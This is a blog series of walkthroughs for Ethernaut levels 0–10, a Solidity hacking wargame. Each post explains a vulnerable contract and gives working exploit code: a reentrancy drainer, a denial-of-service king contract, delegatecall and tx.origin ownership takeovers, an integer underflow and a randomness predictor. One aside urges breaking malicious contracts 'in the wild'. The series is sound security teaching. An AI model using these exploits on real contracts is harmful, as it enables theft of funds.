DEV Community: pacelliv

Ethernaut - Lvl 10: Reentrancy

pacelliv — Mon, 10 Jul 2023 03:03:27 +0000

Requirements: Basic knowledge of Solidity smart contracts and Remix IDE.

The challenge 🤼‍♀️🤼

Steal all the funds from the following contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Reentrance {

  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

Inspecting the contract 🔎🔍

Reentrance is a contract that allows donors to give ether to any account via the donate function, the receive function doesn't update the balance of the beneficiary.

balances keeps track of the total amount donated to each beneficiary and that amount can be read with the balanceOf method.

The beneficiaries can withdraw ether they have received with the withdraw method and only if they have received an amount greater or equal to the amount they want to withdraw.

The contract implements the SafeMath library from OpenZeppelin to protect the arithmetic operations from underflow and overflow.

Reentrancy 🔄

A reentrancy attack has been the most destructive type of hack that smart contracts have suffered, this attack occurs when a smart contract makes an external call to an untrusted or malicious contract that with his fallback creates a recursive call back to the original function in an attempt to drain funds.

That's a good definition for a reentrancy attack but how is Reentrancy vulnerable to this type of attack?

When an user calls withdraw, the function sends the amount to withdraw by the user and only after that call is finished the balance of the donor in the contract is updated. This flow does not follow the Check-Effect-Interactions pattern recommended for functions making it exploitable with a Reentrancy attack.

Given the fact that the function first sends the ether and then updates the balance, that means the function can be re-entered during the execution of the call function to recursively invoke call to send amount again to the user.

Draining `Reentrance` 😈

A reentrancy attack can only be done with a smart contract, so let's create our attacker contract:

interface IReentrance {
    function donate(address _to) external payable;

    function withdraw(uint _amount) external; 
}

contract Attacker {
    IReentrance private immutable reentrance;
    uint256 private constant amountToWithdraw = 1000000000000000;

    constructor (address _reentranceAddr) {
        reentrance = IReentrance(_reentranceAddr);
    }

    fallback() external payable {
        if(address(reentrance).balance >= amountToWithdraw) {
            reentrance.withdraw(amountToWithdraw);
        }
    }

    function attack() external payable {
        reentrance.donate{value: amountToWithdraw}(address(this));
        reentrance.withdraw(amountToWithdraw);
    }
}

attack will make a call to donate ether to itself and then it will call withdraw; after Reentrance sends the ether to Attacker the fallback function will be triggered making a new call to withdraw and this cycle will last until the balance in Reentrance goes below amountToWithdraw.

The if-statement is important because it breaks the cycle otherwise an infinite loop is created, this will drain the gas in the transacion and the funds in Reentrance will not be drained.

Before making the attack let's check the balance in Reentrance:

await web3.eth.getBalance(contract.address).then(bal => bal.toString()) // should return 1000000000000000 or 0.001 ether

Deploy Attack with the address of the Reentrance and then invoke attack sending the 1000000000000000 wei with the transaction.

After the transaction is completed check again the balance of Reentrance and it should be zero.

Submit the instance to complete the level.

Conclusion 💯

If your function is going to make external calls to smart contracts always assume that contract is malicious and design your function to be secure against attacks like reentrancy.

If the developer had followed the Checks-Effects-Interactions pattern then he would have updated the balance first before sending the ether or making an external call.

By doing that when Attacker receives the ether after the first withdraw, the fallack is triggered but the condition would have been false because the balance of the contract in Reentrance is zero.

Ethernaut - Lvl 9: King

pacelliv — Sun, 09 Jul 2023 19:42:43 +0000

Requirements: basic knowledged of smart contracts, Remix IDE.

The challenge 📄

Prevent the owner of the contract from claiming kinship.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

  address king;
  uint public prize;
  address public owner;

  constructor() payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address) {
    return king;
  }
}

Studying `King.sol` 👩‍🏫👨‍🏫

King is a game that allows players to send ether in order to claim kinship and winning the balance in the contract as a prize, each new player needs to send an amount equal or greater than the previous, so basically this is a ponzi scheme.

The owner doesn't need to match the current prize to re-claim the kinship it only needs to send ether to the contract. Not very fair.

The contract keeps tracks of who is the owner and the current king.

The Hack 💣💣

To break this unfair game we need to launch an Denial Of Service on king to prevent the owner from claiming kinship.

Contrary to EOAs, transactions of ether to contracts are verified to check if the recipient can receive ether, if the contract does not have a mechanism to handle the incoming transaction the transaction reverts.

We will write a contract from which we will claim the kinship with no mechanism to receive ether so preventing the owner or any new player from playing this unfair game ever again.

contract Attacker {
    error Attacker__CallFailed();

    function attack(address _kingAddr) external payable {
        (bool success,) = payable(_kingAddr).call{value: msg.value}("");
        if(!success) revert Attacker__CallFailed();
    }
}

attack takes the address of King and with call send the ether to the game to claim the kinship.

Deploy Attacker and call attack with current prize as msg.value.

After the transaction is mined, verify who is the king:

await contract._king() // should return the address of `Attacker`

Submit the instance to complete the level.

Conclusion 📓📔

This game was easy to break because in a single transaction it performed multiple calls, receiving and pushing ether to the new king. Even though it was nice breaking it, is important to discuss a few safety mechanism to prevent malicious actors from breaking your contract or from poorly design contract that can cause an unintended DoS.

It is recommended to avoid batching calls in a single transaction if possible, and instead making the calls in separate transactions as shown in this withdrawal pattern. Always assume a call could fail and implement contract logic to handle those failed calls.

And if you see a malicious contract in the wild and you can break it, just do it!

Ethernaut - Lvl 8: Vault

pacelliv — Fri, 16 Jun 2023 14:15:14 +0000

The Challenge:

Unlock the following Vault contract by changing locked to false.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

Inspecting the contract 👓

At creation time the constructor set the value of locked as true and password.

This contract only have a unlock function that takes a bytes32 _password as its only input parameter. If the provided password is equal to password then the contract is unlocked.

The hack 👩‍🏭👨‍🏭

password is a private state variable so if we try:

await contract.password()

This call will throw with:

VM233:1 Uncaught TypeError: contract.password is not a function
    at <anonymous>:1:16

This error is thrown because of the visibility of the variable.

Setting a state variable as private only prevents other smart contracts from accessing the data, but we need to remember that data stored in a public blockchain is not secret.

Using libraries like web3.js we can still read from the slots of contracts.

This is current storage layout of the contract:

slot          variable
-----------------------
0             locked
1             password

Each variable occupies a slot, to read from the slots using web3.js we can use the getStorageAt(contractAddr, slot) method. This method take two parameters:

The address of the target contract.
The position of the slot to read.

password is stored in slot 1, to read from that slot with web3.js run the following command:

password = await web3.eth.getStorageAt(contract.address, 1)

It should return:

// this is the password!
0x412076657279207374726f6e67207365637265742070617373776f7264203a29

Now we only need to execute unlock:

await contract.unlock(password)

After the transaction is mined check the value of locked:

await contract.locked() // should return false

Submit the instance to complete the level.

Conclusion 👩‍🎓👨‍🎓

Setting state variables as private doesn't make the variable secret or inaccessible, all data stored in a public blockchain is accessible and readable by anyone, for this reason we should never stored sensitive data in public blockchains.

Ethernaut - Lvl 7: Force

pacelliv — Tue, 06 Jun 2023 02:06:37 +0000

The Challenge 🤸🤸‍♂️

Increase the balance of the following contract from zero:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

Increasing the balance 📈

Force.sol have neither a fallback nor receive function to accept ether, so if we send a raw transaction it wil revert:

// this will revert
await sendTransacion({from: player, to: contract.address, value: toWei("1")})

To force the contract to receive ether we need to implement the SELFDESTRUCT opcode.

SELFDESTRUCT performs two task:

Irreversibly deletes the bytecode of a contract from the blockchain.
Sends the balance of a contract to an address, if the recipient is a contract with no fallback, SELFDESTRUCT forces the contract to accept the ether.

Go to Remix and create a new file with this contract:

contract ForceBalance {
    address payable public to;

    constructor(address _to) {
        to = payable(_to);
    }

    receive() external payable {
        selfdestruct(to);
    }
}

Request a new instance of Force, grab the address and deploy ForceBalance with the instance level address.

In your console send ether to ForceBalance:

// send a small amount of ether
await sendTransaction({to: FORCE_BALANCE_ADDRESS, from: player, value: "10000"})

Wait for the transaction to be mined and check the balance of Force:

await getBalance(contract.address).then(bal => bal.toString()) // should greater than zero

Submit the instance to complete the level.

Conclusion ☑️

SELFDESTRUCT deletes the bytecode of a contract and forces a recipient to accept ether, even if it is a contract with no mechanism to receive ether.

The SELFDESTRUCT opcode is currently deprecated and its use in not recommended.

Ethernaut - Lvl 6: Delegation

pacelliv — Mon, 05 Jun 2023 17:59:09 +0000

Requirements: understanding of delegatecall, fallback special function and methods ID.

The challenge 🤼‍♀️🤼

Claim ownership of Delegation:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {

  address public owner;

  constructor(address _owner) {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

Inspecting the contracts 🔎🔍

Delegate.sol contains:

owner: address of the account that owns the contract.
constructor: receives an address and set it as the owner of the contract at creation time.
pwn: public function to update owner as msg.sender.

Delegation.sol contains:

owner: address of the account that owns the contract.
delegate: instance of Delegate, this variable is of type Delegate.
constructor: receives the address of delegate and initiliazes an instance of Delegate. Set msg.sender as owner.
fallback: special function that makes a delegatecall to Delegate.

Delegatecall and Fallback ☎️▶️

Delegation does not have a method that updates owner after this variable has been initiliazed inside the constructor. But we can see that in Delegate there is a method to update the owner in that contract.

The fallback function in Delegation contains logic to make a delegatecall to Delegate with some encoded data.

delegatecall is a low-level function in Solidity used to make external calls to another contracts. Let's say we call a function in a contract A which delegates the call to a function in a contract B. delegatecall will load and run the logic of the function in contract B in the context of A, using the storage of contract A and for this to work contract A needs to share the same storage layout as B, otherwise we will end up writing to the incorrect slots messing with the storage of contract A.

Let's review the following example:

contract Delegatecall {
    bool public status; // slot 0
    uint256 public num; // slot 1

    function updateNum(uint256 _num) external {
        num = _num;
    }
}

contract BadDelegatecall {
    uint256 public num; // slot 0
    bool public status; // slot 1

    // A `delegatecall` would fail because `BadDelegatecall`
    // and `Delegate` does not share the same storage layout.
}

contract GoodDelegatecall {
    bool public status; // slot 0
    uint256 public num; // slot 1

    // A `delegatecall` would succeed because `GoodDelegatecall`
    // and `Delegate` share the same storage layout. 
}

If we make a delegatecall from BadDelegatecall to update num, this would fail because the variable is in different slots. We would end up writing the value of num to status in BadDelegatecall. delegatecall will succeed in GoodDelegatecall because in this case num is in the same slot in both contracts.

delegatecall also maintains msg.sender between external calls. Let's review the following simple chain call:

EOA ---> contract A ---> contract B

`msg.sender` in A and B is the EOA.

The fallback according to the Solidity docs:

The fallback function is executed on a call to the contract if none of the other functions match the given function signature, or if no data was supplied at all and there is no receive Ether function. The fallback function always receives data, but in order to also receive Ether it must be marked payable.

The hack 🌌

We need to trigger the fallback so that it makes a delegatecall to Delegate to run the logic of pwn in Delegation to update owner with our address.

We just need to figure out how to target the function pwn.

When smart contracts are compiled into bytecode, the functions are encoded with an method id, called as selector, that acts as an unique identifier so that the EVM can identify the method to call. The signature of a function consists of its name and the types of its parameters, for example, for function transfer(address _to, uint _amount) the function signature is transfer(address,uint), no spaces are used.

The selector of pwn is what we need to send in our payload for the EVM.

Ok, let's exploit this level. Request a new instance.

Compute the selector of pwn:

selector = web3.eth.abi.encodeFunctionSignature("pwn()")

Send a raw transaction to Delegation with the selector as data:

await sendTransaction({from: player, to: contract.address, data: selector})

After the transaction in mined, check the owner of Delegation:

await contract.owner() // should return your address

Submit the instance to complete the level.

Conclusion 💯

Delegatecall is a powerful function in Solidity, it allow us to dynamically load code at runtime from a different address, maintaining the msg.sender between external calls.

Not properly understanding or usage of delegatecall can make a contract vulnerable to exploits because its storage is used by a different contract to execute external logic.

We also need to be careful when calling methods in a contract that implement delegatecall because we will be the msg.sender in the callee contract authorizing it to execute its logic with our signature.

Ethernaut - Lvl 5: Token

pacelliv — Sun, 04 Jun 2023 01:01:03 +0000

Requirement: basic smart contract knowledge.

The challenge 🥊

Hack the following token contract to increase your token balance:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

Studying the contract 📝

Token.sol is a token contract.

State variables:

balances: mapping to keep tracks of the balance of the holders.
totalSupply: uint variable that keeps track of the current supply of tokens.

Methods:

constructor: initializes totalSupply and allocates the supply to the deployer.
transfer: method to move tokens if the account owns tokens.
balanceOf: reads the token balance of _owner.

Holders can move their tokens via the transfer method if they own tokens.

Hint: An odometer is the instrument used to measure the distance traveled by vehicles. Odometers are known for being tampered by humans by reducing the reading of the device to increase the selling price of a vehicle.

In this challenge the contract is the odometer and we need to find a way to exploit it to increase our token balance.

Underflow and overflow 🧮

If you are new to Solidity you may not be aware of the unsafe math operations prone to underflow and overflow before the release of version v0.8.x.

Since the release of version v0.8.x the compiler by default check all maths operations and revert if any of them will underflow or overflow as a safety mechanism. The token contract uses the compiler version v0.6.0 that offers no protection against unsafe math operations.

But how does underflow and overflow works? Let's say we have the following contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract UnsafeMath {
    function unsafeAdd() external pure returns (uint8) {
        uint8 x = 255;
        return x + 1;
    }

    function unsafeSubtract() external pure returns (uint8) {
        uint8 y;
        return y - 1;
    }
}

unsafeAdd declares a local variable x of type uint8 and assign to it the value of 255, which is the maximum value this type can take. If we call this function and add 1 to x the variable will overflow and will take the minimum value allowed which is zero.

unsafeSubtract does the opposite, declares a local variable y that is initiliazed as zero, when the function is executed and we subtract 1 from y the variable will underflow and instead of taking a value of -1 it will take the maximum value in this type which is 255.

As you can see this is extremely concerning specially if the contract handles money like Token. Imagine you have 255 tokens of X token and after receiving a new token your entire balance resets to zero and this mean total lost of funds!

Breaking the contract 💣🧨

The transfer function is the one in charge of updating the balances of the holders after each transaction of tokens, therefore this function is prone to underflow/overflow.

Our current balance is consist of 20 tokens, after learning about unsafe math operations we know that if we cause an underflow our balance will be set to the maximum value of the uint256 type and that is a huge number.

To cause an underflow let's send 21 tokens to an account:

await contract.transfer("0x0000000000000000000000000000000000000000", 21)

We are transferring 21 tokens to the address zero. When the execution reaches the require and evaluates the condition balances[msg.sender] - _value >= 0, 20 - 21 will underflow and the condition will evaluate maxUint256 - 21 >= 0 which is true.

After sending the transaction, check your balance:

// should return:
// 115792089237316195423570985008687907853269984665640564039457584007913129639935
await contract.balanceOf(player).then(bal => bal.toString())

Now we own an absurd amount of tokens. Submit the intance fo complete this level.

Conclusion ✅

Since the release of Solidity v.0.8.x the compiler by default checks all math operations and reverts the transaction in the case an underflow/overflow.

This default behavior can be disabled by wrapping the operation inside a unchecked block, but be sure the operation will never underflow or overflow.


function uncheckedAdd(uint x, uint y) external pure returns (uint) {
    // 22291 gas
    // return x + y;

    // 22103 gas
    unchecked {
        return x + y;
    }
}

A benefit of wrapping the math operation inside the unchecked block is that the compiler will perform less logic, reducing execution cost.

Futher reading 🗞📰

Ethernaut - Lvl 4: Telephone

pacelliv — Wed, 31 May 2023 16:32:33 +0000

Requirement: understand the difference between `msg.sender` and `tx.origin`.

The challenge 🚣‍♀️🚣

Claim ownership of the following contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {

  address public owner;

  constructor() {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

Contract overview 🔎

Telephone.sol is a basic contract, at creation time the constructor sets the owner as the deployer of the contract.

The contract has a changeOwner function that takes address owner as a parameter to set a new owner of the contract.

To prevent unauthorized accounts from transfering the ownership of the contract, the following safeguard is implemented to protect the function:

if (tx.origin != msg.sender) {
  owner = _owner;
}

This is done to ensure only the owner can transfer ownership.

If we try to call changeOwner with our address, this transaction will not revert but the owner of the contract will remain the same because tx.origin and msg.sender are both our address.

Who are `tx.origin` and `msg.sender`? 📞☎️

tx.origin and msg.sender are built-in global variables from the language.

These variables can de defined as such:

tx.origin: is the address of the Externally Owned Account (EOA) that originally sent the transaction. It can only be an account that know its private key.
msg.sender: is the direct sender of the message, it can be an EOA or a contract.

Let's review the following basic call chain:

EOA ---> contract A ---> contract B

In this transaction an EOA initiated a transaction to call a function in A that calls a function in B.

Therefore:

In A: tx.origin == msg.sender == EOA.
In B: tx.origin == EOA but msg.sender == contract A.

Claiming ownership of `Telephone.sol` 👸🤴

After my brief explanation we can see that all we need to bypass the safeguard is an intermediate contract to call changeOwner.

Go to Remix and create a file with the following code:

interface ITelephone {
    function changeOwner(address _owner) external;
}

contract Attacker {
    function attack(address _victim) external {
        ITelephone(_victim).changeOwner(msg.sender);
    }
}

Attacker has a single attack function that calls the changeOwner function from Telephone with our address passed as msg.sender.

Ok, let's do this -- get a new instance of Telephone from the game contract and grab the address.

Deploy Attacker and call attack with the address of Telephone as the parameter.

After the transaction is mined, in your developer tools check who owns the contract:

await contract.owner() // it should return your address

Conclusion ⭐️

Using tx.origin for authorization proved to be a poor defense mechanism, it only takes a intermediate contract to bypass it. A better solution would've been checking msg.sender against the owner of the contract, making sure only the owner can set a new owner:

if (owner == msg.sender) {
  owner = _owner;
}

Ethernaut - Lvl 3: Coin Flip

pacelliv — Tue, 30 May 2023 15:14:45 +0000

Requirements: Remix IDE, basic understanding of how randomness works in a public blockchain.

How Ethereum generates randomness? 🤔🤯

Developers create pseudo-randomess by hashing a few built-in global variables in Solidity that are unique or difficult to tamper with. A few examples of these variables are: block.number, blockhash and block.difficulty.

Currently, Ethereum offers the KECCAK256 hash function. Devs used it to hash the concatenated string of these variables.

After the variables are hashed, they are turned into a large integer and then are mod'ed by a factor n. This is done to get a discrete set range of probability integers in the desired range of 0 to n.

In CoinFlip n=2 to represent the two sides of the coin.

This methodology of deriving pseudo-randomness makes smart contracts vulnerable to attacks because all the necessary inputs required by attackers are public.

The Challenge 🏊‍♀️🏊

Accumulate 10 straight wins given the following game:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {

  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

Studying the contract 👨‍🏫👩‍🏫

CoinFlip.sol is a basic guessing game. Players have to call flip with their guess. If the guess was right, the player wins and their wins are accumulated and tracked in the consecutiveWins state variable.

To create a random number generator (RNG) the game implements blockhash(block.number - 1) as a source of randomness.

To prevent an attacker from using a loop to beat the game in one contract call the game implements this safeguard:

// The tx will throw if you try a loop because 
// `block.number` will be the same
if (lastHash == blockValue) {
  revert();
}

Breaking the game 😈

After a deeper inspection we can find the following vulnerabilities:

blockhash and block.number are known by us, so we can use them to acurately guess the side of the coin.
The code is public. We can easily read and replicate the computation of the pseudo-randomness in an Attacker contract to anticipate the result.

Go to Remix IDE, create a new file titled Attacker.sol and fill it with the following content:

interface ICoinFlip {
    function flip(bool _guess) external returns (bool);
}

contract Attacker {
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    function attackCoinFlip(address _victim) external {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        uint256 flip = blockValue / FACTOR;
        bool guess = flip == 1 ? true : false;

        if(guess) {
            // if I was correct submit my guess
            ICoinFlip(_victim).flip(guess);
        }
    }
}

The interface ICoinFlip contains the target flip function we are going to exploit from our attacker contract.

Attacker.sol is a basic contract that implements the same randomness computation from CoinFlip in order to anticipate the result. To cheat the game we will compute our guess and only call flip if our guess is correct in that way consecutiveWins will not be reset to zero.

OK! now we are ready to exploit this game. 🧨

Request a new instance of CoinFlip to the main contract game, after the transaction is mined copy the address of the newly created instance.

Go Remix and deploy Attacker.

After the contract is deployed, call flip with the address of CoinFlip as a parameter. After the transaction is completed, in your dev tools check consecutiveWins, luckily you will have one win, if not, just keep calling the function and checking the variable until you accumulate the goal of 10 wins.

(await contract.consecutiveWins()).toString()

Uf! it took me 31 calls, I really hope it was quicker for you.

If you followed me, congratulations you just hacked CoinFlip!

Conclusion 🧑‍🎓

Blockchains are public and deterministic networks, in them there is no such thing as a true source of randomness. Using validators/miners defined values like the hash of the previous block, means that the random number is not actually random because is already known by the entire network.

Validators and miners can manipulate these values because they are the first ones to see the hash of a block and they may decide to throw out a block in which the targeted blockhash won't produced the desired outcome in your game.

Using this source of randomness is not wrong, it boils down to for what the randomness is being used for. If you are planning on building a lottery, the winner needs to determined with a more robust source of randomness, services like Chainlink VRF should be considered for this type of dApps.

Attacking CoinFlip took me 31 calls and aprox. 1,480,734 units of gas. If the attack would been carried out on mainnet it would have cost me aprox. 149.86 USD. No one would've spent this amount of money to exploit a game with no actual prize, but if after accumulating the 10 wins there had been a monetary prize, hackers would have had a motivation in breaking your game, so depending of your application carefully choose a correct source of randomness.

Ethernaut - Lvl 2: Fallout

pacelliv — Tue, 30 May 2023 01:15:23 +0000

Requirements: basic understanding of constructors in Solidity.

The challenge 📄

Claim ownership of the following contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Fallout {

  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;


  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
            require(
                msg.sender == owner,
                "caller is not the owner"
            );
            _;
        }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

Studying `Fallout.sol` 👩‍🏫👨‍🏫

Similarly to the contract from the previous challenge, Fallout.sol is a fundraiser. People are allowed pledge and unpledge ether whenever they want and the owner of the contract can withdraw funds.

This contract uses a version of Solidity < v0.8.x. This means the contract is prone to underflow and overflow. To protect the arithmetic operations the contract implements the SafeMath library from OpenZeppelin and attaches the functions from this library to the uint256 type.

State Variables:

allocations: keeps track of the amount deposited by each allocator.
owner: address of the current owner of the contract. This address is marked as payable enabling the account to receive ether from the contract.

Functions:

Fal1out: the constructor of the contract. Set msg.sender as owner and the msg.value send during deployment as the allocation for the deployer.
allocate: method used to deposit ether in the contrac.
sendAllocation: method allocators can use to withdraw their allocation.
collectAllocation: callable method by the owner to withdaw the entire balance in the contract.
allocatorBalance: reads the amount deposited by allocator.

Hacking `Fallout.sol` 💣💣

This challenge was a little tricky for me because after inspecting the contract, the Fal1out function with the /* constructor */ comment looked weird to me.

When I started learning Solidity, the language was well beyond v0.8.x and I did not know the syntax to declare a constructor in older versions, specifically before v0.4.22.

From the Solidity docs:

Prior to version 0.4.22, constructors were defined as functions with the same name as the contract. This syntax was deprecated and is not allowed anymore in version 0.5.0.

Fal1out was intended to be the constructor of the contract but due a typo while writing it, the function is never called automatically because it's not recognized as a constructor and so the contract is not initialized at creation time.

Fal1out ended up being compiled as a public function accessible by any EOA to call it and claim the ownership of the contract and to gain access to the balance in the contract.

After that brief explanation, it should be straightforward claiming the ownership of Fallout.

In your dev tools call the Fal1out method:

await contract.Fal1out()

After the transaction is mined, verify you own the contract:

await contract.owner() // should return your address

Conclusion ⚡️

Creating a more robust syntax to declare a constructor is one on the many changes implemented by the core devs to make Solidity a more robust and safe language.

Despite the effort of the core devs, typos can still lead to lose of funds or unusable code, we should always try our best on reading our code before deploying it.

Ethernaut - Lvl 1: Fallback

pacelliv — Sun, 28 May 2023 02:10:58 +0000

Requirements: basic knowledged of smart contracts and how to interact with the ABI of a smart contract using web3js.

The contract 📑

Given the following contract:


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {

  mapping(address => uint) public contributions;
  address public owner;

  constructor() {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    payable(owner).transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

Claim ownership and drain the balance.

Inspecting the contract 🕵️‍♀️🕵️

Fallback.sol is a fundraiser, to become a contributor users must pledge ether to the contract.

The balance in the contract can only be withdrawn by the owner.

State variables:

contributions: this mapping keep tracks of the amount pledge by contributor.
owner: address of the current owner of the contract.

Functions:

constructor: initializes msg.sender as owner and set the contribution of the deployer as 1000 ether.
modifier onlyOwner: access control to prevent unauthorized accounts from calling the withdraw method.
contribute: method to pledge ether.
getContribution: reads the contribution of msg.sender.
withdraw: withdraws the entire balance in the contract. Only callable by owner.
receive: special function that enables the contract to receive ether.

Hacking `Fallback.sol` 👩‍💻👨‍💻

Upon closer inspection, there are two ways to claim the ownership:

Through the contribute method:

function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if (contributions[msg.sender] > contributions[owner]) {
        owner = msg.sender;
    }
}

By calling this function we can pledge an amount of ETH, and if the total pledged by us is greater than the contributions of the owner we claimed the ownership.

That sounds pretty straightforward, the drawback is that when the contract was deployed, the constructor set the contributions of the owner as 1000 ETH 😵.

constructor() {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
}

I don't own an amount of test ether close to 1000 and surely you don't either. We need to try another option to hack this contract.

Through the receive function:

receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
}

receive (a variation of the fallback) is a special function in Solidity. This function is executed when the contract receives ether with an empty calldata. For a receive function to handle transfer of ether it MUST be marked as payable, otherwise the transaction will revert.

To claim ownership we need to pass the conditions in the require function -- sending an amount of ether greater than zero and have previously contributed to the contract.

Now we that we know how to claim ownership, we could write a contract to expoit Fallback.sol but is not necessary, we will hack the contract interacting with the ABI using web3js.

Request a new instance of the level.

Check the current owner of the contract:

 await contract.owner() // in my case it returned '0x3c34A342b2aF5e885FcaA3800dB5B205fEfa3ffB'

We need to replace that address with ours.

First we need to contribute some ether to the contract, run the following command in your console:

await contract.contribute.sendTransaction({value: toWei("0.0009")})

Let me quickly explain this command -- as explained in the Lvl 0, the contract object has an ABI that is made of the methods of the contract. In this case from the contract we will call the contribute method, but the methods also have their own. sendTransaction is a method that allow us to create a transaction with a set of options (e.g. to, from, data, value, etc...). From the avaliable options we are mostly concerned with the value in which we can specify the amount of ether (a.k.a msg.value) we want to send in the transaction.

In Solidity we don't work with decimals and at the smart contract level ether is handle in wei which is the smallest unit of ether (1 ether = 1000000000000000000 wei or 10 ** 18).

To transform the value from ether to wei we use toWei("0.0009").

Let's verify our contribution after the transactions is mined:

await contract.getContribution().then(contribution => contribution.toString()) // 900000000000000 wei

Good! it returned the correct amount represented in wei.

Now that we have contributed to the contract, we can send a plain transaction to trigger the receive function to become the owners, run the following command in your console:

await sendTransaction({from: player, to: contract.address, value: toWei("0.0005")})

Now let's check the address that owns the contract:

await contract.owner() // should return your address

Yes! 😎 we just claimed ownership of the contract.

Before putting the last nail in the coffin, let's verify the current balance in the contract:

await getBalance(contract.address).then(bal => bal.toString()) // 0.0014 ether

Ok, let's drain the balance of the contract, run this command:

await contract.withdraw()

After the trasansaction is mined check again the balance of the contract and it should be zero.

Submit the instance to complete this level.

Conclusion ✔️

This contract poorly implemented a fallback function without any kind of safeguards (i.e. conditional requirement) making the contract exploitable by anyone and putting in risk its entire balance.

When implementing a fallback function in your contract try to use it these ways:

Keep the logic inside simple.
Be careful when implementing logic that modify state (ownership change, balances updates, support to low level calls).
Use it mostly to emit payment events to the transaction log.
Check simple conditional requirements.

Ethernaut - Lvl 0: Hello Ethernaut

pacelliv — Sat, 27 May 2023 21:10:27 +0000

Requirements: basic smart contracts knowledge.

Intro 👋👋

Hello fren, my name is Pacelli.

In this series I will be presenting my solutions to the Ethernaut hacking challenges created by the OpenZeppelin team.

Although there are many repos and blogs around the web with the solutions to these challenges, I still decided to make the exercise of publishing my own solutions and explations for my own benefit and in the hope that this blog will help future readers looking for up-to-date solutions.

For the majority of the challenges Remix IDE will be enough, except for some cases in which an editor like VS Code will be necessary.

To play the game you will need:

Metamask. If you don't have it installed in your browser learn how to set up a profile for free.
Test ether. My recommendation is to use the Sepolia tesnet because is the one with most active faucets. You can get test ether from either the Alchemy or Chainlink faucets.

Get some test ether and come back!

How does Ethernaut works? ⚙️

All smart contracts source code are compiled into two formats, by the Ethereum Virtual Machine (EVM):

Application Binary Interface (ABI): communication layer between Solidity and Javascript, in JSON format.
Bytecode: low-level machine language that it's interpreted and executed by the EVM.

When you request Get new instance for each level, Ethernaut compiles and deploy the bytecode to a new address on the network you're connected.

